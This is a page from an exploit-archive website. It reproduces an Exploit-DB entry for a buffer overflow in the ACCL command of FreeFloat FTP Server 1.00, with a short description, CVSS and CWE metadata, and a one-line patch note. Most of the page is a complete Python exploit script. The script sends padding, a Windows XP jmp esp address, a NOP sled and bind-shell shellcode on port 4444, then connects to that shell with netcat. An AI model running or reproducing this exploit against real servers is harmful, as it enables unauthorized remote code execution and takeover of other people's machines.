Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
FreeFloat FTP Server ACCL Buffer Overflow Exploit - exploit.company
header-logo
Suggest Exploit
vendor:
FreeFloat FTP Server
by:
mortis
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: FreeFloat FTP Server
Affected Version From: 1
Affected Version To: 1
Patch Exists: YES
Related CWE:
CPE: a:freefloat:freefloat_ftp_server:1.00
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP3 English
2011

FreeFloat FTP Server ACCL Buffer Overflow Exploit

This exploit allows an attacker to execute arbitrary code by sending a specially crafted ACCL command to the FreeFloat FTP Server. The vulnerability occurs due to a buffer overflow in the server's handling of ACCL commands. By sending a long string of characters as the argument to the ACCL command, an attacker can overwrite the stack and gain control of the server's execution flow. This exploit opens a listener shell on port 4444.

Mitigation:

The vendor has released a patch for this vulnerability. Users are advised to update to the latest version of FreeFloat FTP Server to mitigate the risk of exploitation.
Source

Exploit-DB raw data:

#!/usr/bin/python
#
#[+]Exploit Title: FreeFloat FTP Server ACCL Buffer Overflow Exploit
#[+]Date: 19\06\2011
#[+]Author: mortis
#[+]Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
#[+]Version: 1.00
#[+]Tested On: Windows XP SP3 English
#[+]CVE: N/A
#

from socket import *
import sys, struct, os

def sploit(host, port):
	#open listener shell on port 4444

	sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
	sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
	sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
	sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
	sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
	sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
	sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
	sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
	sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
	sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
	sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
	sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
	sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
	sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
	sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
	sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
	sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
	sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
	sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
	sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
	sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
	sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
	sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
	sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
	sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

	padding = "A"*246
	sled = "\x90"*20
	jmpesp = struct.pack('<L',0x7C874413) #jmp esp winxp3 
	 
	sploit = padding + jmpesp + sled + sc
	s = socket(AF_INET,SOCK_STREAM)
	s.connect((host,port))
	s.recv(1024)
	s.send("USER test\r\n")
	s.recv(1024)
	s.send("PASS test\r\n")
	s.recv(1024)
	s.send("ACCL "+sploit+"\r\n")
	s.close()

if __name__ == '__main__':        
	if (len(sys.argv) < 3):
		print "\nUsage: freefloat.py <host> <port> \n"
		sys.exit()
	else:
		host = sys.argv[1] 
		port = sys.argv[2]
		sploit(host, int(port))
		os.system("nc " + host + " 4444")